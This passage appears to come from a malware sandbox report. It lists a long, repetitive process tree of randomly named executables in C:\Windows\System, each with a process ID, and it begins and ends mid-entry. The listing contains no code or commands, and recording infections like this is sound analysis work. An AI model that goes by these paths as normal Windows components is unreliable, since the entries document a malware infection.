  2⤵
  PID:8720
- C:\Windows\System\sVhhMpA.exe
  C:\Windows\System\sVhhMpA.exe
  2⤵
  PID:8740
- C:\Windows\System\ZYNwlPW.exe
  C:\Windows\System\ZYNwlPW.exe
  2⤵
  PID:8760
- C:\Windows\System\VFIdIaA.exe
  C:\Windows\System\VFIdIaA.exe
  2⤵
  PID:8780
- C:\Windows\System\XZfTqyo.exe
  C:\Windows\System\XZfTqyo.exe
  2⤵
  PID:8800
- C:\Windows\System\hmGDcTB.exe
  C:\Windows\System\hmGDcTB.exe
  2⤵
  PID:8840
- C:\Windows\System\wojzrzc.exe
  C:\Windows\System\wojzrzc.exe
  2⤵
  PID:8860
- C:\Windows\System\iJmTnht.exe
  C:\Windows\System\iJmTnht.exe
  2⤵
  PID:8880
- C:\Windows\System\wlcjdLp.exe
  C:\Windows\System\wlcjdLp.exe
  2⤵
  PID:8904
- C:\Windows\System\oWKWRCo.exe
  C:\Windows\System\oWKWRCo.exe
  2⤵
  PID:8928
- C:\Windows\System\NPzTDDj.exe
  C:\Windows\System\NPzTDDj.exe
  2⤵
  PID:8952
- C:\Windows\System\KIXvPKi.exe
  C:\Windows\System\KIXvPKi.exe
  2⤵
  PID:8976
- C:\Windows\System\jqcZYNP.exe
  C:\Windows\System\jqcZYNP.exe
  2⤵
  PID:9000
- C:\Windows\System\dbflZug.exe
  C:\Windows\System\dbflZug.exe
  2⤵
  PID:9020
- C:\Windows\System\PdCPWfF.exe
  C:\Windows\System\PdCPWfF.exe
  2⤵
  PID:9044
- C:\Windows\System\hHxaVVd.exe
  C:\Windows\System\hHxaVVd.exe
  2⤵
  PID:9072
- C:\Windows\System\iwmhMnX.exe
  C:\Windows\System\iwmhMnX.exe
  2⤵
  PID:9092
- C:\Windows\System\OkOEQnA.exe
  C:\Windows\System\OkOEQnA.exe
  2⤵
  PID:9116
- C:\Windows\System\pVdWAAx.exe
  C:\Windows\System\pVdWAAx.exe
  2⤵
  PID:9136
- C:\Windows\System\NabnuVw.exe
  C:\Windows\System\NabnuVw.exe
  2⤵
  PID:9160
- C:\Windows\System\EBelFLT.exe
  C:\Windows\System\EBelFLT.exe
  2⤵
  PID:9176
- C:\Windows\System\MUAmZXZ.exe
  C:\Windows\System\MUAmZXZ.exe
  2⤵
  PID:6428
- C:\Windows\System\McvjLMS.exe
  C:\Windows\System\McvjLMS.exe
  2⤵
  PID:7236
- C:\Windows\System\uEpnqSu.exe
  C:\Windows\System\uEpnqSu.exe
  2⤵
  PID:8060
- C:\Windows\System\NJPXoFv.exe
  C:\Windows\System\NJPXoFv.exe
  2⤵
  PID:7704
- C:\Windows\System\PubbeYG.exe
  C:\Windows\System\PubbeYG.exe
  2⤵
  PID:7660
- C:\Windows\System\JJVULkn.exe
  C:\Windows\System\JJVULkn.exe
  2⤵
  PID:7848
- C:\Windows\System\lGMuLYX.exe
  C:\Windows\System\lGMuLYX.exe
  2⤵
  PID:7936
- C:\Windows\System\ADwfqQd.exe
  C:\Windows\System\ADwfqQd.exe
  2⤵
  PID:7068
- C:\Windows\System\glakhcy.exe
  C:\Windows\System\glakhcy.exe
  2⤵
  PID:8324
- C:\Windows\System\GFwyUjr.exe
  C:\Windows\System\GFwyUjr.exe
  2⤵
  PID:7244
- C:\Windows\System\oxUDIkJ.exe
  C:\Windows\System\oxUDIkJ.exe
  2⤵
  PID:7428
- C:\Windows\System\JoCqCsa.exe
  C:\Windows\System\JoCqCsa.exe
  2⤵
  PID:7536
- C:\Windows\System\AwfzsGd.exe
  C:\Windows\System\AwfzsGd.exe
  2⤵
  PID:4376
- C:\Windows\System\GfMzAqe.exe
  C:\Windows\System\GfMzAqe.exe
  2⤵
  PID:8028
- C:\Windows\System\PhrZctJ.exe
  C:\Windows\System\PhrZctJ.exe
  2⤵
  PID:9296
- C:\Windows\System\GWUbVPa.exe
  C:\Windows\System\GWUbVPa.exe
  2⤵
  PID:9364
- C:\Windows\System\JPDQwFG.exe
  C:\Windows\System\JPDQwFG.exe
  2⤵
  PID:9396
- C:\Windows\System\edDdOoz.exe
  C:\Windows\System\edDdOoz.exe
  2⤵
  PID:9412
- C:\Windows\System\hdyQwTm.exe
  C:\Windows\System\hdyQwTm.exe
  2⤵
  PID:9432
- C:\Windows\System\AvcMxNc.exe
  C:\Windows\System\AvcMxNc.exe
  2⤵
  PID:9452
- C:\Windows\System\GzrLWVk.exe
  C:\Windows\System\GzrLWVk.exe
  2⤵
  PID:9540
- C:\Windows\System\vjVIiZG.exe
  C:\Windows\System\vjVIiZG.exe
  2⤵
  PID:9560
- C:\Windows\System\WSNLltD.exe
  C:\Windows\System\WSNLltD.exe
  2⤵
  PID:9584
- C:\Windows\System\xGJwpEA.exe
  C:\Windows\System\xGJwpEA.exe
  2⤵
  PID:9612
- C:\Windows\System\HkSBnSF.exe
  C:\Windows\System\HkSBnSF.exe
  2⤵
  PID:9644
- C:\Windows\System\LTWQNyb.exe
  C:\Windows\System\LTWQNyb.exe
  2⤵
  PID:9668
- C:\Windows\System\uTzdreI.exe
  C:\Windows\System\uTzdreI.exe
  2⤵
  PID:9696
- C:\Windows\System\EczsvhU.exe
  C:\Windows\System\EczsvhU.exe
  2⤵
  PID:9780
- C:\Windows\System\nPNRHUC.exe
  C:\Windows\System\nPNRHUC.exe
  2⤵
  PID:9800
- C:\Windows\System\kOEBtJr.exe
  C:\Windows\System\kOEBtJr.exe
  2⤵
  PID:9836
- C:\Windows\System\SjOWldl.exe
  C:\Windows\System\SjOWldl.exe
  2⤵
  PID:9852
- C:\Windows\System\etebJbq.exe
  C:\Windows\System\etebJbq.exe
  2⤵
  PID:9892
- C:\Windows\System\ppYNYKJ.exe
  C:\Windows\System\ppYNYKJ.exe
  2⤵
  PID:9912
- C:\Windows\System\AhaxWFq.exe
  C:\Windows\System\AhaxWFq.exe
  2⤵
  PID:9936
- C:\Windows\System\kuZJPde.exe
  C:\Windows\System\kuZJPde.exe
  2⤵
  PID:9964
- C:\Windows\System\XRXHrJC.exe
  C:\Windows\System\XRXHrJC.exe
  2⤵
  PID:9984
- C:\Windows\System\zJGteJL.exe
  C:\Windows\System\zJGteJL.exe
  2⤵
  PID:10004
- C:\Windows\System\AVHfFvo.exe
  C:\Windows\System\AVHfFvo.exe
  2⤵
  PID:10024
- C:\Windows\System\eOGuceI.exe
  C:\Windows\System\eOGuceI.exe
  2⤵
  PID:10044
- C:\Windows\System\FfTOTpQ.exe
  C:\Windows\System\FfTOTpQ.exe
  2⤵
  PID:10068
- C:\Windows\System\dyqzwBg.exe
  C:\Windows\System\dyqzwBg.exe
  2⤵
  PID:10092
- C:\Windows\System\KEZPtbl.exe
  C:\Windows\System\KEZPtbl.exe
  2⤵
  PID:10112
- C:\Windows\System\SqHzxfI.exe
  C:\Windows\System\SqHzxfI.exe
  2⤵
  PID:10136
- C:\Windows\System\HpcMCAw.exe
  C:\Windows\System\HpcMCAw.exe
  2⤵
  PID:10152
- C:\Windows\System\bvZxrHB.exe
  C:\Windows\System\bvZxrHB.exe
  2⤵
  PID:10172
- C:\Windows\System\bnXxMCP.exe
  C:\Windows\System\bnXxMCP.exe
  2⤵
  PID:10192
- C:\Windows\System\SqWOCOp.exe
  C:\Windows\System\SqWOCOp.exe
  2⤵
  PID:10216
- C:\Windows\System\aINegdz.exe
  C:\Windows\System\aINegdz.exe
  2⤵
  PID:9080
- C:\Windows\System\wBfKdVy.exe
  C:\Windows\System\wBfKdVy.exe
  2⤵
  PID:2108
- C:\Windows\System\BvWEpre.exe
  C:\Windows\System\BvWEpre.exe
  2⤵
  PID:6768
- C:\Windows\System\FkRTtXB.exe
  C:\Windows\System\FkRTtXB.exe
  2⤵
  PID:8896
- C:\Windows\System\krwVLaG.exe
  C:\Windows\System\krwVLaG.exe
  2⤵
  PID:8368
- C:\Windows\System\QhFDDhP.exe
  C:\Windows\System\QhFDDhP.exe
  2⤵
  PID:9384
- C:\Windows\System\gcyCYhQ.exe
  C:\Windows\System\gcyCYhQ.exe
  2⤵
  PID:9408
- C:\Windows\System\MoJGvkW.exe
  C:\Windows\System\MoJGvkW.exe
  2⤵
  PID:9464
- C:\Windows\System\kVuqBcU.exe
  C:\Windows\System\kVuqBcU.exe
  2⤵
  PID:9404
- C:\Windows\System\NrxPgdM.exe
  C:\Windows\System\NrxPgdM.exe
  2⤵
  PID:9552
- C:\Windows\System\JQlCqoy.exe
  C:\Windows\System\JQlCqoy.exe
  2⤵
  PID:9520
- C:\Windows\System\csGpVQa.exe
  C:\Windows\System\csGpVQa.exe
  2⤵
  PID:9788
- C:\Windows\System\xYyUzoP.exe
  C:\Windows\System\xYyUzoP.exe
  2⤵
  PID:9756
- C:\Windows\System\anrnKHU.exe
  C:\Windows\System\anrnKHU.exe
  2⤵
  PID:9860
- C:\Windows\System\npYMSdQ.exe
  C:\Windows\System\npYMSdQ.exe
  2⤵
  PID:9928
- C:\Windows\System\oUsEFFC.exe
  C:\Windows\System\oUsEFFC.exe
  2⤵
  PID:10016
- C:\Windows\System\LkpzOGs.exe
  C:\Windows\System\LkpzOGs.exe
  2⤵
  PID:10080
- C:\Windows\System\oqCGStZ.exe
  C:\Windows\System\oqCGStZ.exe
  2⤵
  PID:10108
- C:\Windows\System\UylWnsV.exe
  C:\Windows\System\UylWnsV.exe
  2⤵
  PID:10124
- C:\Windows\System\aYVXHpZ.exe
  C:\Windows\System\aYVXHpZ.exe
  2⤵
  PID:10000
- C:\Windows\System\TgRJLCB.exe
  C:\Windows\System\TgRJLCB.exe
  2⤵
  PID:9904
- C:\Windows\System\RDxNfai.exe
  C:\Windows\System\RDxNfai.exe
  2⤵
  PID:10064
- C:\Windows\System\UhqVjVn.exe
  C:\Windows\System\UhqVjVn.exe
  2⤵
  PID:9288
- C:\Windows\System\cNZnTjE.exe
  C:\Windows\System\cNZnTjE.exe
  2⤵
  PID:10236
- C:\Windows\System\kVlOZfP.exe
  C:\Windows\System\kVlOZfP.exe
  2⤵
  PID:8992
- C:\Windows\System\BcRFwif.exe
  C:\Windows\System\BcRFwif.exe
  2⤵
  PID:8220
- C:\Windows\System\EszMeVW.exe
  C:\Windows\System\EszMeVW.exe
  2⤵
  PID:9600
- C:\Windows\System\vKllXMl.exe
  C:\Windows\System\vKllXMl.exe
  2⤵
  PID:4936
- C:\Windows\System\BYnItCh.exe
  C:\Windows\System\BYnItCh.exe
  2⤵
  PID:10244
- C:\Windows\System\WTLVQBH.exe
  C:\Windows\System\WTLVQBH.exe
  2⤵
  PID:10268
- C:\Windows\System\SDBnpLd.exe
  C:\Windows\System\SDBnpLd.exe
  2⤵
  PID:10292
- C:\Windows\System\LsZDSIP.exe
  C:\Windows\System\LsZDSIP.exe
  2⤵
  PID:10480
- C:\Windows\System\TPIePtj.exe
  C:\Windows\System\TPIePtj.exe
  2⤵
  PID:10496
- C:\Windows\System\zhMAlwL.exe
  C:\Windows\System\zhMAlwL.exe
  2⤵
  PID:10528
- C:\Windows\System\nLrEkxi.exe
  C:\Windows\System\nLrEkxi.exe
  2⤵
  PID:10552
- C:\Windows\System\TJdSOpE.exe
  C:\Windows\System\TJdSOpE.exe
  2⤵
  PID:10572
- C:\Windows\System\zpPnTxx.exe
  C:\Windows\System\zpPnTxx.exe
  2⤵
  PID:10588
- C:\Windows\System\csUYOXz.exe
  C:\Windows\System\csUYOXz.exe
  2⤵
  PID:10604
- C:\Windows\System\ALrdrrb.exe
  C:\Windows\System\ALrdrrb.exe
  2⤵
  PID:10624
- C:\Windows\System\oGttzlK.exe
  C:\Windows\System\oGttzlK.exe
  2⤵
  PID:10644
- C:\Windows\System\WlDDXlT.exe
  C:\Windows\System\WlDDXlT.exe
  2⤵
  PID:10660
- C:\Windows\System\rINScTj.exe
  C:\Windows\System\rINScTj.exe
  2⤵
  PID:10700
- C:\Windows\System\vsfOsKv.exe
  C:\Windows\System\vsfOsKv.exe
  2⤵
  PID:10716
- C:\Windows\System\LazcusR.exe
  C:\Windows\System\LazcusR.exe
  2⤵
  PID:10736
- C:\Windows\System\AlgLwkv.exe
  C:\Windows\System\AlgLwkv.exe
  2⤵
  PID:10756
- C:\Windows\System\ruvXuhj.exe
  C:\Windows\System\ruvXuhj.exe
  2⤵
  PID:10772
- C:\Windows\System\qjACtFl.exe
  C:\Windows\System\qjACtFl.exe
  2⤵
  PID:10792
- C:\Windows\System\AQTIBaw.exe
  C:\Windows\System\AQTIBaw.exe
  2⤵
  PID:10808
- C:\Windows\System\YFzOotP.exe
  C:\Windows\System\YFzOotP.exe
  2⤵
  PID:10824
- C:\Windows\System\wiKWMsp.exe
  C:\Windows\System\wiKWMsp.exe
  2⤵
  PID:10840
- C:\Windows\System\wvEGGmT.exe
  C:\Windows\System\wvEGGmT.exe
  2⤵
  PID:10908
- C:\Windows\System\AqtzhVf.exe
  C:\Windows\System\AqtzhVf.exe
  2⤵
  PID:10924
- C:\Windows\System\oPFBKyl.exe
  C:\Windows\System\oPFBKyl.exe
  2⤵
  PID:10948
- C:\Windows\System\Hgusqyn.exe
  C:\Windows\System\Hgusqyn.exe
  2⤵
  PID:10964
- C:\Windows\System\mwyCRkl.exe
  C:\Windows\System\mwyCRkl.exe
  2⤵
  PID:10984
- C:\Windows\System\SSsaOyH.exe
  C:\Windows\System\SSsaOyH.exe
  2⤵
  PID:11096
- C:\Windows\System\VhJIGAQ.exe
  C:\Windows\System\VhJIGAQ.exe
  2⤵
  PID:11112
- C:\Windows\System\IWjyldT.exe
  C:\Windows\System\IWjyldT.exe
  2⤵
  PID:11128
- C:\Windows\System\LRudTTX.exe
  C:\Windows\System\LRudTTX.exe
  2⤵
  PID:11216
- C:\Windows\System\DFHRiGM.exe
  C:\Windows\System\DFHRiGM.exe
  2⤵
  PID:11236
- C:\Windows\System\dpPtjja.exe
  C:\Windows\System\dpPtjja.exe
  2⤵
  PID:11260
- C:\Windows\System\mStkjkA.exe
  C:\Windows\System\mStkjkA.exe
  2⤵
  PID:10104
- C:\Windows\System\vLBRPRl.exe
  C:\Windows\System\vLBRPRl.exe
  2⤵
  PID:9636
- C:\Windows\System\wAbRxFf.exe
  C:\Windows\System\wAbRxFf.exe
  2⤵
  PID:10300
- C:\Windows\System\ivNmEOE.exe
  C:\Windows\System\ivNmEOE.exe
  2⤵
  PID:10276
- C:\Windows\System\mXADjoX.exe
  C:\Windows\System\mXADjoX.exe
  2⤵
  PID:9976
- C:\Windows\System\aqmZwWy.exe
  C:\Windows\System\aqmZwWy.exe
  2⤵
  PID:10264
- C:\Windows\System\zPorgKr.exe
  C:\Windows\System\zPorgKr.exe
  2⤵
  PID:10392
- C:\Windows\System\eEDRxuj.exe
  C:\Windows\System\eEDRxuj.exe
  2⤵
  PID:10464
- C:\Windows\System\kfFRWmB.exe
  C:\Windows\System\kfFRWmB.exe
  2⤵
  PID:10504
- C:\Windows\System\EflQpLh.exe
  C:\Windows\System\EflQpLh.exe
  2⤵
  PID:10580
- C:\Windows\System\fdzvjno.exe
  C:\Windows\System\fdzvjno.exe
  2⤵
  PID:10640
- C:\Windows\System\pQsLIVs.exe
  C:\Windows\System\pQsLIVs.exe
  2⤵
  PID:10744
- C:\Windows\System\GsFsfwt.exe
  C:\Windows\System\GsFsfwt.exe
  2⤵
  PID:10788
- C:\Windows\System\YmMZAHl.exe
  C:\Windows\System\YmMZAHl.exe
  2⤵
  PID:10748
- C:\Windows\System\bJRoWqz.exe
  C:\Windows\System\bJRoWqz.exe
  2⤵
  PID:10864
- C:\Windows\System\iqdxiBA.exe
  C:\Windows\System\iqdxiBA.exe
  2⤵
  PID:10600
- C:\Windows\System\xTZzGVL.exe
  C:\Windows\System\xTZzGVL.exe
  2⤵
  PID:10820
- C:\Windows\System\eXBRfLU.exe
  C:\Windows\System\eXBRfLU.exe
  2⤵
  PID:10680
- C:\Windows\System\ZrnngOF.exe
  C:\Windows\System\ZrnngOF.exe
  2⤵
  PID:10856
- C:\Windows\System\nasuQDw.exe
  C:\Windows\System\nasuQDw.exe
  2⤵
  PID:10508
- C:\Windows\System\yezxeCa.exe
  C:\Windows\System\yezxeCa.exe
  2⤵
  PID:11056
- C:\Windows\System\IvMCkZo.exe
  C:\Windows\System\IvMCkZo.exe
  2⤵
  PID:11136
- C:\Windows\System\JYOnSGg.exe
  C:\Windows\System\JYOnSGg.exe
  2⤵
  PID:11156
- C:\Windows\System\vtDRSmQ.exe
  C:\Windows\System\vtDRSmQ.exe
  2⤵
  PID:11060
- C:\Windows\System\Xrfwvlp.exe
  C:\Windows\System\Xrfwvlp.exe
  2⤵
  PID:10920
- C:\Windows\System\qWxNvqE.exe
  C:\Windows\System\qWxNvqE.exe
  2⤵
  PID:10980
- C:\Windows\System\QhMPktC.exe
  C:\Windows\System\QhMPktC.exe
  2⤵
  PID:11124
- C:\Windows\System\gvrCpkh.exe
  C:\Windows\System\gvrCpkh.exe
  2⤵
  PID:11016
- C:\Windows\System\shMYWJA.exe
  C:\Windows\System\shMYWJA.exe
  2⤵
  PID:11160
- C:\Windows\System\eniePAc.exe
  C:\Windows\System\eniePAc.exe
  2⤵
  PID:10304
- C:\Windows\System\ePsUbWt.exe
  C:\Windows\System\ePsUbWt.exe
  2⤵
  PID:11284
- C:\Windows\System\MZwwgGm.exe
  C:\Windows\System\MZwwgGm.exe
  2⤵
  PID:11320
- C:\Windows\System\VtMLlGA.exe
  C:\Windows\System\VtMLlGA.exe
  2⤵
  PID:11340
- C:\Windows\System\TUofvEO.exe
  C:\Windows\System\TUofvEO.exe
  2⤵
  PID:11356
- C:\Windows\System\VmdgNMB.exe
  C:\Windows\System\VmdgNMB.exe
  2⤵
  PID:11380
- C:\Windows\System\ZcGiSsE.exe
  C:\Windows\System\ZcGiSsE.exe
  2⤵
  PID:11400
- C:\Windows\System\sCwqvSS.exe
  C:\Windows\System\sCwqvSS.exe
  2⤵
  PID:11424
- C:\Windows\System\IiDLJcU.exe
  C:\Windows\System\IiDLJcU.exe
  2⤵
  PID:11444
- C:\Windows\System\dfJZftY.exe
  C:\Windows\System\dfJZftY.exe
  2⤵
  PID:11464
- C:\Windows\System\QQGphIs.exe
  C:\Windows\System\QQGphIs.exe
  2⤵
  PID:11488
- C:\Windows\System\ewDGdnE.exe
  C:\Windows\System\ewDGdnE.exe
  2⤵
  PID:11504
- C:\Windows\System\gRpkptK.exe
  C:\Windows\System\gRpkptK.exe
  2⤵
  PID:11640
- C:\Windows\System\MAEWRBL.exe
  C:\Windows\System\MAEWRBL.exe
  2⤵
  PID:11660
- C:\Windows\System\DYOfrjY.exe
  C:\Windows\System\DYOfrjY.exe
  2⤵
  PID:11680
- C:\Windows\System\GeLmljj.exe
  C:\Windows\System\GeLmljj.exe
  2⤵
  PID:11696
- C:\Windows\System\zwdyJQJ.exe
  C:\Windows\System\zwdyJQJ.exe
  2⤵
  PID:11720
- C:\Windows\System\IAIsXwd.exe
  C:\Windows\System\IAIsXwd.exe
  2⤵
  PID:11744
- C:\Windows\System\XDwkBXi.exe
  C:\Windows\System\XDwkBXi.exe
  2⤵
  PID:11768
- C:\Windows\System\uJWRfQo.exe
  C:\Windows\System\uJWRfQo.exe
  2⤵
  PID:11792
- C:\Windows\System\HqPCwDb.exe
  C:\Windows\System\HqPCwDb.exe
  2⤵
  PID:11812
- C:\Windows\System\YduwEGP.exe
  C:\Windows\System\YduwEGP.exe
  2⤵
  PID:11832
- C:\Windows\System\dmJNSRL.exe
  C:\Windows\System\dmJNSRL.exe
  2⤵
  PID:11856
- C:\Windows\System\RNGedBL.exe
  C:\Windows\System\RNGedBL.exe
  2⤵
  PID:12044
- C:\Windows\System\hAUsMRj.exe
  C:\Windows\System\hAUsMRj.exe
  2⤵
  PID:12068
- C:\Windows\System\XKuCyjv.exe
  C:\Windows\System\XKuCyjv.exe
  2⤵
  PID:12084
- C:\Windows\System\TuPTVGw.exe
  C:\Windows\System\TuPTVGw.exe
  2⤵
  PID:12104
- C:\Windows\System\baXTNMR.exe
  C:\Windows\System\baXTNMR.exe
  2⤵
  PID:12124
- C:\Windows\System\XIFnNxr.exe
  C:\Windows\System\XIFnNxr.exe
  2⤵
  PID:12144
- C:\Windows\System\AbhWEqY.exe
  C:\Windows\System\AbhWEqY.exe
  2⤵
  PID:12168
- C:\Windows\System\RurigeD.exe
  C:\Windows\System\RurigeD.exe
  2⤵
  PID:12188
- C:\Windows\System\UsXBlNr.exe
  C:\Windows\System\UsXBlNr.exe
  2⤵
  PID:12208
- C:\Windows\System\vxIXHBd.exe
  C:\Windows\System\vxIXHBd.exe
  2⤵
  PID:12236
- C:\Windows\System\cvwIRuQ.exe
  C:\Windows\System\cvwIRuQ.exe
  2⤵
  PID:12252
- C:\Windows\System\cHdFIBy.exe
  C:\Windows\System\cHdFIBy.exe
  2⤵
  PID:12268
- C:\Windows\System\kMPxiKT.exe
  C:\Windows\System\kMPxiKT.exe
  2⤵
  PID:12284
- C:\Windows\System\epOEPQo.exe
  C:\Windows\System\epOEPQo.exe
  2⤵
  PID:10768
- C:\Windows\System\pVbTXAe.exe
  C:\Windows\System\pVbTXAe.exe
  2⤵
  PID:11104
- C:\Windows\System\tFlCPcU.exe
  C:\Windows\System\tFlCPcU.exe
  2⤵
  PID:11148
- C:\Windows\System\qWvHkSC.exe
  C:\Windows\System\qWvHkSC.exe
  2⤵
  PID:10356
- C:\Windows\System\nIvLCJO.exe
  C:\Windows\System\nIvLCJO.exe
  2⤵
  PID:11368
- C:\Windows\System\muVMubV.exe
  C:\Windows\System\muVMubV.exe
  2⤵
  PID:11204
- C:\Windows\System\udFZLAm.exe
  C:\Windows\System\udFZLAm.exe
  2⤵
  PID:11472
- C:\Windows\System\EebzPtX.exe
  C:\Windows\System\EebzPtX.exe
  2⤵
  PID:10832
- C:\Windows\System\TUWtmNA.exe
  C:\Windows\System\TUWtmNA.exe
  2⤵
  PID:3856
- C:\Windows\System\sfQTzRn.exe
  C:\Windows\System\sfQTzRn.exe
  2⤵
  PID:2228
- C:\Windows\System\uXYKZkX.exe
  C:\Windows\System\uXYKZkX.exe
  2⤵
  PID:10900
- C:\Windows\System\CLZvVuE.exe
  C:\Windows\System\CLZvVuE.exe
  2⤵
  PID:11252
- C:\Windows\System\ONdRkXU.exe
  C:\Windows\System\ONdRkXU.exe
  2⤵
  PID:4088
- C:\Windows\System\elcZuQP.exe
  C:\Windows\System\elcZuQP.exe
  2⤵
  PID:10656
- C:\Windows\System\NNypNat.exe
  C:\Windows\System\NNypNat.exe
  2⤵
  PID:3612
- C:\Windows\System\RqsApJu.exe
  C:\Windows\System\RqsApJu.exe
  2⤵
  PID:11436
- C:\Windows\System\AryYJPS.exe
  C:\Windows\System\AryYJPS.exe
  2⤵
  PID:11396
- C:\Windows\System\hfeAwCl.exe
  C:\Windows\System\hfeAwCl.exe
  2⤵
  PID:11736
- C:\Windows\System\vhlipGv.exe
  C:\Windows\System\vhlipGv.exe
  2⤵
  PID:11556
- C:\Windows\System\iXUuzfE.exe
  C:\Windows\System\iXUuzfE.exe
  2⤵
  PID:11200
- C:\Windows\System\ZQNuTVW.exe
  C:\Windows\System\ZQNuTVW.exe
  2⤵
  PID:10284
- C:\Windows\System\lwTEoEN.exe
  C:\Windows\System\lwTEoEN.exe
  2⤵
  PID:11648
- C:\Windows\System\RPoDpyV.exe
  C:\Windows\System\RPoDpyV.exe
  2⤵
  PID:3312
- C:\Windows\System\pgzMdqL.exe
  C:\Windows\System\pgzMdqL.exe
  2⤵
  PID:12300
- C:\Windows\System\ZpbPrnO.exe
  C:\Windows\System\ZpbPrnO.exe
  2⤵
  PID:12332
- C:\Windows\System\HPfWoLB.exe
  C:\Windows\System\HPfWoLB.exe
  2⤵
  PID:12348
- C:\Windows\System\UsCSXay.exe
  C:\Windows\System\UsCSXay.exe
  2⤵
  PID:12380
- C:\Windows\System\CPJyBLP.exe
  C:\Windows\System\CPJyBLP.exe
  2⤵
  PID:12404
- C:\Windows\System\ttzNigW.exe
  C:\Windows\System\ttzNigW.exe
  2⤵
  PID:12428
- C:\Windows\System\OHADVlc.exe
  C:\Windows\System\OHADVlc.exe
  2⤵
  PID:12452
- C:\Windows\System\JQnbvjE.exe
  C:\Windows\System\JQnbvjE.exe
  2⤵
  PID:12472
- C:\Windows\System\gXrmtdo.exe
  C:\Windows\System\gXrmtdo.exe
  2⤵
  PID:12492
- C:\Windows\System\nPrdEZH.exe
  C:\Windows\System\nPrdEZH.exe
  2⤵
  PID:12736
- C:\Windows\System\hddvfns.exe
  C:\Windows\System\hddvfns.exe
  2⤵
  PID:12956
- C:\Windows\System\jwBnjCU.exe
  C:\Windows\System\jwBnjCU.exe
  2⤵
  PID:12976
- C:\Windows\System\fPTngnd.exe
  C:\Windows\System\fPTngnd.exe
  2⤵
  PID:13000
- C:\Windows\System\FAlzYNm.exe
  C:\Windows\System\FAlzYNm.exe
  2⤵
  PID:13024
- C:\Windows\System\keWYunz.exe
  C:\Windows\System\keWYunz.exe
  2⤵
  PID:13048
- C:\Windows\System\bIENjbH.exe
  C:\Windows\System\bIENjbH.exe
  2⤵
  PID:13072
- C:\Windows\System\YkndpIN.exe
  C:\Windows\System\YkndpIN.exe
  2⤵
  PID:13208
- C:\Windows\System\ykDKyLV.exe
  C:\Windows\System\ykDKyLV.exe
  2⤵
  PID:13300
- C:\Windows\System\zLiBTlU.exe
  C:\Windows\System\zLiBTlU.exe
  2⤵
  PID:11692
- C:\Windows\System\gWCjhmN.exe
  C:\Windows\System\gWCjhmN.exe
  2⤵
  PID:3320
- C:\Windows\System\PaotRnc.exe
  C:\Windows\System\PaotRnc.exe
  2⤵
  PID:3448
- C:\Windows\System\wwwqZTA.exe
  C:\Windows\System\wwwqZTA.exe
  2⤵
  PID:4408
- C:\Windows\System\eLCdOep.exe
  C:\Windows\System\eLCdOep.exe
  2⤵
  PID:3752
- C:\Windows\System\XrLLmmu.exe
  C:\Windows\System\XrLLmmu.exe
  2⤵
  PID:12264
- C:\Windows\System\qohELUY.exe
  C:\Windows\System\qohELUY.exe
  2⤵
  PID:12224
- C:\Windows\System\qqOJYOz.exe
  C:\Windows\System\qqOJYOz.exe
  2⤵
  PID:12196
- C:\Windows\System\jBVzXeo.exe
  C:\Windows\System\jBVzXeo.exe
  2⤵
  PID:4620
- C:\Windows\System\TeURmOV.exe
  C:\Windows\System\TeURmOV.exe
  2⤵
  PID:10544
- C:\Windows\System\FBmhRpO.exe
  C:\Windows\System\FBmhRpO.exe
  2⤵
  PID:10852
- C:\Windows\System\NZpKFZn.exe
  C:\Windows\System\NZpKFZn.exe
  2⤵
  PID:10256
- C:\Windows\System\LRRdsSK.exe
  C:\Windows\System\LRRdsSK.exe
  2⤵
  PID:12564
- C:\Windows\System\xLLnlBJ.exe
  C:\Windows\System\xLLnlBJ.exe
  2⤵
  PID:10816
- C:\Windows\System\bIeDqrn.exe
  C:\Windows\System\bIeDqrn.exe
  2⤵
  PID:11476
- C:\Windows\System\lGHCpxx.exe
  C:\Windows\System\lGHCpxx.exe
  2⤵
  PID:11092
- C:\Windows\System\bidEOud.exe
  C:\Windows\System\bidEOud.exe
  2⤵
  PID:2608
- C:\Windows\System\RszkfZW.exe
  C:\Windows\System\RszkfZW.exe
  2⤵
  PID:12664
- C:\Windows\System\SPGOSxA.exe
  C:\Windows\System\SPGOSxA.exe
  2⤵
  PID:12892
- C:\Windows\System\MdAyVNm.exe
  C:\Windows\System\MdAyVNm.exe
  2⤵
  PID:13068
- C:\Windows\System\OdmMLkC.exe
  C:\Windows\System\OdmMLkC.exe
  2⤵
  PID:13100
- C:\Windows\System\iDOPJIa.exe
  C:\Windows\System\iDOPJIa.exe
  2⤵
  PID:13164
- C:\Windows\System\zCXaXtk.exe
  C:\Windows\System\zCXaXtk.exe
  2⤵
  PID:2876
- C:\Windows\System\ytaRbHA.exe
  C:\Windows\System\ytaRbHA.exe
  2⤵
  PID:10652
- C:\Windows\System\EKHYerh.exe
  C:\Windows\System\EKHYerh.exe
  2⤵
  PID:12076
- C:\Windows\System\ZXnfPQA.exe
  C:\Windows\System\ZXnfPQA.exe
  2⤵
  PID:11784
- C:\Windows\System\UyaxGHG.exe
  C:\Windows\System\UyaxGHG.exe
  2⤵
  PID:4868
- C:\Windows\System\lpShCvN.exe
  C:\Windows\System\lpShCvN.exe
  2⤵
  PID:5112
- C:\Windows\System\ZguJiRC.exe
  C:\Windows\System\ZguJiRC.exe
  2⤵
  PID:11460
- C:\Windows\System\UVuqtjS.exe
  C:\Windows\System\UVuqtjS.exe
  2⤵
  PID:2256
- C:\Windows\System\YUlSXZX.exe
  C:\Windows\System\YUlSXZX.exe
  2⤵
  PID:2324
- C:\Windows\System\VizokSk.exe
  C:\Windows\System\VizokSk.exe
  2⤵
  PID:8856
- C:\Windows\System\DHgKQmK.exe
  C:\Windows\System\DHgKQmK.exe
  2⤵
  PID:9680
- C:\Windows\System\DtBcglm.exe
  C:\Windows\System\DtBcglm.exe
  2⤵
  PID:11912
- C:\Windows\System\oboBUnv.exe
  C:\Windows\System\oboBUnv.exe
  2⤵
  PID:3168
- C:\Windows\System\VTjZDFZ.exe
  C:\Windows\System\VTjZDFZ.exe
  2⤵
  PID:2188
- C:\Windows\System\mBJlMVG.exe
  C:\Windows\System\mBJlMVG.exe
  2⤵
  PID:2684
- C:\Windows\System\XqbQsew.exe
  C:\Windows\System\XqbQsew.exe
  2⤵
  PID:12488
- C:\Windows\System\Ztxtlqr.exe
  C:\Windows\System\Ztxtlqr.exe
  2⤵
  PID:12140
- C:\Windows\System\NcWaGww.exe
  C:\Windows\System\NcWaGww.exe
  2⤵
  PID:11440
- C:\Windows\System\iBwtHCX.exe
  C:\Windows\System\iBwtHCX.exe
  2⤵
  PID:10868
- C:\Windows\System\uODCEGK.exe
